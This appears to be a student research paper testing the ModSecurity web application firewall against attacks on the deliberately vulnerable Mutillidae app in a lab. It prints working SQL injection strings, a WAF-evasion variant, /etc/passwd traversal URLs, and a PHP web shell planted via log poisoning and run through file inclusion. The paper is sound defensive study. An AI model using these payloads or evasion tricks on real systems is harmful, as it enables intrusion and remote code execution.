Insight into and Implementation of Web Application Firewalls

Stewart Summers
Pennsylvania State University
sts25@psu.edu

Jeremy Dykman
Pennsylvania State University
jmd688@psu.edu

Jordan Kein
Pennsylvania State University
jrk37@psu.edu

***Abstract* -- As technology continues to evolve, more and more organizations are creating and using web applications for daily operations. This increase of web applications greatly multiplies the attack surface of any organization. This demonstration outlines some of the capabilities of Web Application Firewalls (WAF) and shows how they are configured to reduce the attack surface. In addition, the discussion of including security solutions in the organizations patch management policy is had. In this effort, common webserver misconfigurations and examples of the top vulnerabilities according to the Open Web Application Security Project (OWASP) Top Ten 2017 are analyzed along with mitigation techniques used by ModSecurity. In an effort to address, demonstrate, and mitigate several of the attack vectors that web applications face today, the OWASP Top Ten list for 2017 is used as a format to introduce and repel the most common attacks. While not every item on the current list is visited, the ones that more specifically deal with injection attempts and misconfigurations highlight some of the trends regarding attack vector and prevention. In addition, the successful exploitation of every discussed vulnerability as it pertains to web application is not required. The goal addresses many of the problems in a systematic manner as described in the methodology section. To this affect, the demonstration clearly shows that many of the rule sets in the basic ModSecurity configuration are more than enough to block basic attacks. Even more tailored attacks still have a high likelihood of being blocked. Having stated that, the authors still believe that a defense in depth strategy is best used to reduce the risk to a manageable level as history has shown that even WAFs are susceptible to attack and circumvention.**

I. Introduction

Web application firewalls are often used as the first line in defense for web applications. While this is no substitute for secure coding techniques such as input sanitization and output encoding, this demonstration shows how web applications view traffic and respond. In order to ensure that the focus of the demonstration remains on the implementation and effectiveness of WAFs, Ubuntu, Apache, MySQL, PHP, Mutillidae, and ModSecurity have all been patched to their latest versions. This includes ModSecurity 2.9.2 with Common Rule Set 3.0.0, Ubuntu 17.10, Apache 2.4.25, Mutillidae 2.6.48, MySQL Version 14.14 Distribution 5.7.20, and PHP 7.0. To address the configuration, the Ubuntu machine is running as a virtual machine on top of a VMWare ESXi 6.0 hypervisor. In addition, the attacks are run through Burp Suite configured as an interception proxy installed on a Kali Linux virtual machine. This instance of Kali is also installed on the ESXi machine with all network adapters set up in bridged mode. No other specific software is used to conduct the attacks. They are all done manually and demonstrated in the corresponding demonstration video. Additionally, while not the exact same, Jesin's article on DigitalOcean can be used to see a more guided walkthrough on a similar configuration [3]. Finally, the results of the demonstration show the inner workings of a specific WAF to better illustrate how today's web applications are protected from basic to more lengthy and complicated attacks. Many simple attacks are easily detected and analyzed. Further evidence of this claim is discussed below.

II. Setup and Configuration

A. *Underlying Framework - LAMP*

The underlying operating system, web server, SQL database, and application code base are comprised of a suite known as Linux, Apache, MySQL, and PHP (LAMP) respectively. This setup provides the easiest and most flexible configuration to allow the installation of both Mutillidae and ModSecurity. In addition, the Linux flavor for the demonstration is Ubuntu 17.10.

B. *Web Application – Mutillidae*

The application of choice for this demonstration is Mutillidae 2.6.48. This is an intentionally vulnerable web application developed and maintained by OWASP themselves. Because the demonstration is also using the OWASP Top Ten 2017 list, this application helps the demonstration best interpret their intent.

Mutillidae was first developed by Adrian "irongeek" Crenshaw [18]. His platform was developed as 1.x and is no longer supported. Mutillidae II was created using an object-oriented architecture by Jeremy Druin [21]. New features and vulnerabilities were added, however, the application continued to use the OWASP 2010 Top 10 vulnerabilities.

Intentionally vulnerable web applications are useful for many things in the security industry. For this demonstration, it serves as a testing environment to demonstrate a properly implemented web application firewall. Mutillidae provides a platform that has several web application vulnerabilities. SANS references that, "In particular, having both traditional vulnerabilities plus vulnerable web services in the same

platform is rare [18]." In total, the Mutillidae II Pen-Test Training Environment contains 40 documented vulnerabilities that can be exploited.

C. Web Application Firewall – ModSecurity

The ModSecurity WAF is one of the top open source software WAF products available. In this particular implementation, it was easily loaded as an Apache module. In addition, in order to continue with the theme of consistently using OWASP related best practice, the OWASP ModSecurity rule set that comes preconfigured for ModSecurity is used.

ModSecurity focuses on what it is capable of and gives the user the freedom to choose how to utilize its functionality. Its capabilities include real-time monitoring and access control, HTTP traffic logging, continuous passive security assessment, and web application hardening [19]. It was developed with four principles in mind. These are flexibility, passiveness, predictability, and quality over quantity. The flexibility and freedom ingrained in the product stays true to most open source applications.

To deploy, one can use two different options. The first is embedded. This would be the preferred method if you already have Apache configured in your environment. The recommended version of Apache is 2.2.x. The second deployment option is a reverse proxy. This method creates an HTTP proxy that sits between the clients and the web servers. This can only be used for web servers that are on the same network as the clients connecting to it. For the purposes of this paper, we are utilizing ModSecurity embedded in an Apache installation. ModSecurity is a toolkit for real-time web application monitoring, logging, and access control [22].

III. Web Application Firewall Development

Web application firewalls apply a set of rules towards a conversation or HTTP application. Firewalls can be configured and deployed in a variety of ways. The first way is by using static rules. Another way to deploy the firewall is by using anomaly-based rules. For ModSecurity, it has moved away from a static approach in favor of decision making on a couple of criteria. That is not to say that it does not still use rules. It does. However, it has introduced a paranoia level as well as an anomaly level. These two factors form a quadrant table that helps the user choose the appropriate amount of security that their site requires. Of course, choosing the strictest policy could result in a higher number of false positives. Adjustment and analysis of these two factors are demonstrated as their calculations directly affect how traffic is blocked. This is only mentioned to underline the specific functionality of this WAF. Several other studies and publications go into further detail as far as other detection methods are concerned [5][9][14].

IV. Methodology

A consistent approach to each misconfiguration or attack method follows the same procedure. First, the vulnerability is described and analyzed. Second, the common problem or attack discusses how it takes advantage of the vulnerability. Third, the attack is executed, and the response viewed. Fourth, the corresponding ModSecurity rule is discussed and implemented. Fifth, additional methods to circumvent the implemented rule, should they be successful or not, are attempted against the target. Finally, the results of the circumnavigation are shown. It should be noted that the goal of the demonstration is not to necessarily illustrate a working exploit for every attempt, but rather to see how vulnerabilities are identified and protected against.

In addition, more background information on the inner workings of the configuration are discussed [3]. Referring back to the concept of Anomaly and Paranoia Levels mentioned earlier, the threshold levels can be manipulated to adjust the sensitivity of the WAF. For the tests in this paper, the default inbound anomaly score threshold is increased from 10 to 15. This accurately represent an enterprise deployment that is attempting to reduce the number of alerts and false positives that their Security Operations Center (SOC) sees. So, while this evaluation technique utilizes more than static rules, the rule set is still used, and paranoia and anomaly levels are assigned to each one. Should the total combined score of the input parameters exceed the threshold, the WAF will block the request.

V. SQL Injection

A. Vulnerability Details

SQL injection attacks have been around for a long time and are still being used today. SQL Injection attacks against web application databases can typically be divided in four sections: Code Injection, SQL Manipulation, Function Call Injection, and Buffer Overflows [20].

Code injection describes when the attacker inserts new database commands or SQL statements into the user's statement. During this step, an attacker could append additional commands to delete data from the SQL database. SQL manipulation describes when the attacker adds additional elements to the SQL statement to return results beyond what the user was asking. This technique attempts to return all users and their corresponding passwords from the database. Function call injection is when an attacker inserts additional functions to be executed with the SQL statement. Functions could include INSERT, UPDATE, and DELETE, and could be used to modify data in the database. Finally, buffer overflow is the process of sending data to the buffer until it overruns the boundaries of the buffer. This also overwrites the adjacent memory and can be used to bring down the website or run user-controlled shellcode.

B. Attack Details

The attack string used and discussed is *any' or 1=1;#* . This is used to quickly demonstrate the ability to display all users as well as authentication bypass. Keep in mind that the examples in Table I and Table II are URL encoded, so that is why the parameters appear different than the attack string listed above.

TABLE I.
SQL ATTACK STRING – USER INFO PAGE

User Info Page
http://ist554/mutillidae/index.php?page=user-info.php&username=any%27+or+1%3D1%3B%23&password=&user-info-php-submit-button=View+Account+Details

TABLE II.
SQL ATTACK STRING – LOGIN PAGE

Login Page
username=any%27+or+1%3D1%3B%23&password=&login-php-submit-button=Login

C. Attack Response

When the simple SQL injection attempt of *any' or 1=1;#* is inputted into the username field of the user lookup page in Mutillidae, the resulting ModSecurity block indicates that the Inbound Anomaly Score Threshold is exceeded with a score of 20. However, the authentication bypass on the Login Page results in an anomaly score of 10 even though the same string is inputted. This is less than the threshold of 15, and the attack is successful.

TABLE III.
SQL INJECTION – USER INFO PAGE

User Info Page
Message: Access denied with code 403 (phase 2). Operator GE matched 15 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "57"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 20)"]

TABLE IV.
SQL INJECTION – LOGIN PAGE

Login Page
Logged In Admin: admin (g0t r00t?)

D. ModSecurity Rule

The rule that fires is the very first SQL injection rule from the OWASP rule set. This clearly shows that the initial attempt to test the WAF was simple enough to be caught.

TABLE V.
MODSECURITY RULE – USER INFO PAGE

User Info Page
Message: Warning. detected SQLi using libinjection with fingerprint 's&1;' [file "/usr/share/modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "68"] [id "942100"] [rev "1"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: s&1; found within ARGS:username: any' or 1=1;"]

E. Rule Circumvention Attempt

Because the login injection has already been proven to be lower than the threshold, the next attempt to circumvent the WAF is aimed at the User Info page once again. The injection is

test' oR strCmp(left('password',1),0x71)=-1;# . Looking at the rule that fired in Table V, this attempt could be confusing enough to circumvent the rule. Multiple attack strings were pieced together using techniques as outlined in the OWASP SQL Injection Evasion Cheat Sheet [17].

TABLE VI.
RULE CIRCUMVENT – USER INFO PAGE

User Info Page
http://ist554//mutillidae/index.php?page=user-info.php&username=test%27%20oR%20strCmp%28left%28%27password%27%2c1%29%2c0x71%29%3d-1%3b%23&password=test&user-info-php-submit-button=View+Account+Details

F. Circumvention Attempt Response

In this case, the circumvention attempt works. Careful manipulation of the attack string is successful. These include testing case sensitivity in the conditional statement “oR”, adding a concealment function that adds randomness and confusion to the comparison, and hex representations of ascii characters to avoid any rules looking for static totality statements. It brings the initial request’s score down from 20 to 10. With the threshold still set at 15, the manipulation shows that SQL injection can still reasonably work around a WAF.

TABLE VII.
CIRCUMVENTION RESULTS – USER INFO PAGE

User Info Page
Results for "test' oR strCmp(left('password',1),0x71)=-1;#".24 records found.

VI. ARBITRARY FILE INCLUSION

A. Vulnerability Details

A file inclusion is a vulnerability that affects web applications that rely on a scripting run time, most often associated with exploiting PHP. Types of file inclusion can be, Local File Inclusion (LFI) and Remote File Inclusion (RFI). The difference between the two types of file inclusion attacks is that remote file inclusion is a remote malicious script file that targets a vulnerable web application, whereas the local file inclusions utilize a malicious script that needs to be

uploaded to the target server hosting the vulnerable PHP scripts.

B. Attack Details

First, a simple Proof of Concept (PoC) is shown by displaying the underlying operating system's /etc/passwd file. The command is *../../../../etc/passwd%00*. The %00 null byte was patched in PHP 5.3.4. As stated, the current configuration uses PHP 7.0. However, a ModSecurity rule may prove interesting during analysis. Then, a local file inclusion vulnerability is used to view a server log file containing PHP code that has previously injected by the attacker. This can trigger Remote Code Execution (RCE). The attacker first injects "<?php echo shell_exec($_GET['cmd']);?>" into the SQL injection page therefore forcing an error to be written to the ModSecurity logs located in /var/log/apache2/modsec_audit.log. The LFI (Local File Inclusion) then calls this log file while passing a command to the "cmd" parameter for which the injected PHP code is looking.

TABLE VIII.
PASSWORD ATTACK

/etc/passwd Attempt
http://ist554//mutillidae/index.php?page=../../../../../etc/passwd%00

C. Attack Response

This attempt results in a major score of 43 due to the combination of several rules being triggered. As displayed in Table XIII below, the "../../" used in the directory traversal matched a rule, the phrase "/etc/passwd" matched a rule, and the null byte at the end all contributed to the high anomaly score.

TABLE IX.
PASSWORD ATTACK RESPONSE

/etc/passwd Attempt
[msg "Invalid character in request (null character)"]
[msg "Path Traversal Attack (/../)"]
[data "Matched Data: etc/passwd found within ARGS:page: ../../../../../etc/passwd"]

D. ModSecurity Rule

Table XIV shows the corresponding rules that were triggered from the attack shown above in Table XII.

TABLE X.
MODSECURITY RULE RESPONSE TO PASSWORD ATTEMPT

/etc/passwd Attempt
Message: Warning. Matched phrase "../" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "77"] [id "930110"]
Message: Warning. Matched phrase "../" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "77"] [id "930110"]
Message: Warning. Matched phrase "etc/passwd" at ARGS:page. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "108"] [id "930120"]
Message: Warning. Matched phrase "../" at REQUEST_URI. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "77"] [id "930110"]
Message: Warning. Matched phrase "etc/passwd" at ARGS:page. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "108"] [id "930120"]

E. Rule Circumvention Attempt

Interestingly enough, when nothing but "/etc/passwd" is injected, the result is a mere 10 on the anomaly scale. However, this is not very realistic considering the fact that an application would normally be installed several directories deep where a directory traversal set of strings such as "../../" would be needed. For the bypass attempt, a method known as "log poisoning" is demonstrated. This requires a few extra steps, but the result demonstrates how a few common vulnerabilities can compromise an entire machine. First, this attack assumes that a security professional that wanted to view the ModSecurity logs decided to make the logs readable by either world or www-data in particular. Next, knowing that ModSecurity will block something as malicious as our first attempt, PHP code is injected into the logs by forcing a block. Following that, the ModSecurity log file is accessed and a command issued.

TABLE XI.
LOGIN POISON CIRCUMVENTION ATTEMPT

Login Poison Attempt
http://ist554//mutillidae/index.php?page=../../../../etcpasswd%3C?php%20echo%20shell_exec%28$_GET[%27cmd%27]%29;?%3E
http://ist554//mutillidae/index.php?page=/var/log/apache2/modsec_audit.log&cmd=id

F. Circumvention Attempt Response

The attack is successful. As seen in the response in Table XVI below, the command "id" has run successfully. It is interesting how the /var/log/apache2/ directory is not a defined rule in the lfi-os-files.data like /etc/passwd. Would this directory have been included; it could have raised the anomaly score high enough to block the request.

TABLE XII.
LOGIN POISON CIRCUMVENTION RESPONSE

Log Poison Attempt
[msg "Path Traversal Attack (/../)"] [data "Matched Data: ../ found within REQUEST_URI: /mutillidae/index.php?page=../../../../etcpasswduid=33(www-

data) gid=33(www-data) groups=33(www-data) "]

VII. Continuous Vulnerability management

Continuous vulnerability management is an important concept. Not only can this help alleviate some attacks, it can also prevent a compromise altogether if the vulnerability was addressed within the patch. The demonstration provided is another example of why vulnerability management is so important. Another question that arises is how often should you patch your system? This is based on the organization's requirements or anytime a major patch is released to address a vulnerability. To further drive home the point, how often are security appliances themselves updated? Now that ModSecurity is up and running, is everything completely secure? The simple answer is no. For example, in versions of ModSecurity before v2.2.1, it was found that prepending "%23%2f%2a%0a" before a SQL Injection payload would allow the attacker to completely bypass and trick ModSecurity into allowing the attack through [1]. So, if vulnerabilities are still present in the devices that are chosen to protect an asset, patch management for every device should be strictly implemented.

VIII. Related Research

As part of any research related project, a fair amount of time is spent in determining the scope. For this project, there is an almost endless number of sources that pertain to web application testing and web application firewall implementation. It is for this reason that preliminary research relating to this subject was completed before initial testing began.

First and foremost, time was spent on understanding basic web application attacks. Fortunately, as mentioned earlier, adequate resources that outline several of the major attacks are attempted [10][13][15]. The decision to focus on SQL Injection, Cross Site Scripting, and Arbitrary File Inclusion is demonstrated as these are still the most common attacks that web applications face even to this day. As web technologies advance, the methods change, but the underlying concepts of these basic attacks remains extremely relevant.

After the attack vectors were selected, research into Web Application Firewall (WAF) bypass was sought. As a side note, the initial intent was to find WAF bypass techniques instead of circumvention methods that simply fly in under the radar. For this, Ryan Barnett's article on ModSecurity SQL Injection bypasses was a focal point [1]. In addition, Qualys also found several vulnerabilities in ModSecurity v2.6.5 and rule set v2.2.4 [11]. However, the legitimate bypass methodology was sidelined in favor of circumvention as there is a desire to study current WAF trends instead of focusing on outdated prevention methodologies that have already been proven to be inadequate.

Finally, there was also a need to choose a target WAF that offered both simplicity of implementation and robustness. After scouring several options such as Barracuda, Imperva, F5, and Akamai, it was determined that for demonstration purposes it was far more important to show the concepts of attacks and prevention for ModSecurity as most of these other options are extremely expensive and require dedicated hardware [2][4][8][12][16]. Most importantly, it is critical to research a topic that is prevalent in the industry. As more and more applications are being stood up and publicly exploited, there is clearly a need for web application defense. This is noted in Information Technology Newsweekly [6]. These factors along with research into a similar subject published by Holm and Ekstedt in 2013 regarding WAF effectiveness drives the research contained in this paper and demonstration [7].

IX. Conclusion

The battle involved in security web applications from attackers is never ending. While there have been significant advances in the awareness and protection of these critical components, there is still great care that needs to be taken when any application is introduced into the environment. The attack vectors demonstrated in this project may be slightly dated, but the overall goal of WAF behavior and rule analysis is illustrated thoroughly. The WAF's reaction to common attack strings associated with SQL Injection, Cross Site Scripting, and File Inclusion are extremely difficult to get past the WAF as the current rule sets that come out of the box in ModSecurity are well defined. However, as with all security projects and programs, the overarching concept that needs to be implemented and practiced is that of defense in depth. ModSecurity does a reasonably good job in preventing many attacks. If the application itself also takes measures such as input sanitization and output encoding, the attacks will have a much higher chance of detection and prevention. Overall, a WAF is still only as good as its rule set. The proper implementation of that rule set, as far as an appropriate method to make decisions based upon levels such as paranoia and anomaly, need to also take into consideration environmental factors if it is to be relatively successful in blocking malicious traffic.

X. References

[1] Barnett, R. (2011, July 26). ModSecurity SQL Injection Challenge: Lessons Learned. Retrieved September 19, 2017, from https://www.trustwave.com/Resources/SpiderLabs-Blog/ModSecurity-SQL-Injection-Challenge--Lessons-Learned/

[2] Barracuda web application firewall now available as part of microsoft azure certified gallery. (2014, Jul 21). PCQuest, Retrieved from http://ezaccess.libraries.psu.edu/login?url=https://search-proquest-com.ezaccess.libraries.psu.edu/docview/1546423634?accountid=13158

[3] Digital Ocean. (2016, October 13). How To Set Up ModSecurity with Apache on Ubuntu 14.04 and Debian 8. Retrieved September 19, 2017, from https://www.digitalocean.com/community/tutorials/how-to-set-up-modsecurity-with-apache-on-ubuntu-14-04-and-debian-8

[4] Ghanbari, Z., Rahmani, Y., Ghaffarian, H., & Ahmadzadegan, M. H. (2015). Comparative approach to web application firewalls. Paper presented at the 808-812. doi:10.1109/KBEI.2015.7436148

[5] Gupta, K., & Singh, R. R. (2017). a survey on web application attack detection methods. International Journal of Advanced Research in Computer Science, 8(7)

[6] High-profile data breaches demand web application firewall adoption. (2014). Information Technology Newsweekly, , 46

[7] Holm, H., & Ekstedt, M. (2013). Estimates on the effectiveness of web application firewalls against targeted attacks. Information Management & Computer Security, 21(4), 250-265. doi:http://dx.doi.org.ezaccess.libraries.psu.edu/10.1108/IMCS-11-2012-0064

[8] ISACA selects imperva's web application firewall. (2011). Investment Weekly News, , 821.

[9] Nadya Elbachir El Moussaid, & Toumanari, A. (2014). Web application attacks detection: A survey and classification. International Journal of Computer Applications, 103(12), 1-6. doi:10.5120/18123-9085

[10] Nagpal, B., Chauhan, N., & Singh, N. (2014). Cross-site request forgery: Vulnerabilities and defenses. I-Manager's Journal on Information Technology, 3(2), 13-21. Retrieved from http://ezaccess.libraries.psu.edu/login?url=https://search-proquest-com.ezaccess.libraries.psu.edu/docview/1553397381?accountid=13158

[11] Qualys. (2012, June 15). ModSecurity and ModSecurity Core Rule Set Multipart Bypasses. Retrieved September 19, 2017, from https://blog.qualys.com/ssllabs/2012/06/15/modsecurity-and-modsecurity-core-rule-set-multipart-bypasses

[12] Razzaq, A., Hur, A., Shahbaz, S., Masood, M., & Ahmad, H. F. (2013). Critical analysis on web application firewall solutions. Paper presented at the 1-6. doi:10.1109/ISADS.2013.6513431

[13] Shema, M., & Books24x7, I. (2010). Seven deadliest web application attacks (1st ed.). Amsterdam;Boston;: Syngress/Elsevier Science.

[14] Torrano‐Gimenez, C., Nguyen, H. T., Alvarez, G., & Franke, K. (2015). Combining expert knowledge with automatic feature extraction for reliable web attack detection. Security and Communication Networks, 8(16), 2750-2767. doi:10.1002/sec.603

[15] Watson, D. (2007). Web application attacks. Network Security, 2007(10), 10-14. doi:10.1016/S1353-4858(07)70094-6

[16] Web application firewall WAF global market analysis - leading vendors include imperva, F5 & akamai - research and markets. (2016). Investment Weekly News, , 580

[17] OWASP. (n.d.). SQL Injection Bypassing WAF. Retrieved September 19, 2017, from https://www.owasp.org/index.php/SQL_Injection_Bypassing_WAF

[18] J. Druin and C. Walker, “Introduction to the OWASP Mutillidae II Web Training Environment,” 2013.

[19] I. Ristic, “ModSecurity The Open Source Web Application Firewall,” pp. 1–30, 2008.

[20] C. Sharma, “Explorative Study of SQL Injection Attacks and Mechanisms to Secure Web Application Database- A Review,” IJACSA Int. J. Adv. Comput. Sci. Appl., vol. 7, no. 3, pp. 79–87, 2016.

[21] Irongeek.com, “Mutillidae,” Irongeek Button. [Online]. Available: http://www.irongeek.com/i.php?page=mutillidae%2Fmutillidae-deliberately-vulnerable-php-owasp-top-10. [Accessed: 05-Nov-2017].

[22] “ModSecurity: Open Source Web Application Firewall.” [Online]. Available: http://modsecurity.org/. [Accessed: 05-Nov-2017].

[23] “XSS (Cross Site Scripting) Prevention Cheat Sheet - OWASP.” [Online].Available: https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet. [Accessed: 05-Nov-2017].